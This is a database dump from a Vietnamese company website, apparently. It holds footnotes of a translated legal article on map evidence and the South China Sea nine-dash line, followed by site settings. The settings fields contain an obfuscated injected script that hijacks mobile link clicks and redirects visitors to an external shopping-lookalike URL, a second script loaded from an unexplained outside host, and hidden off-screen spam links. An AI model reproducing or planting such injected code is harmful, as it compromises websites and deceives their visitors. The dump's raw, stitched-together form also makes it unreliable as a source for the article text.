chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" 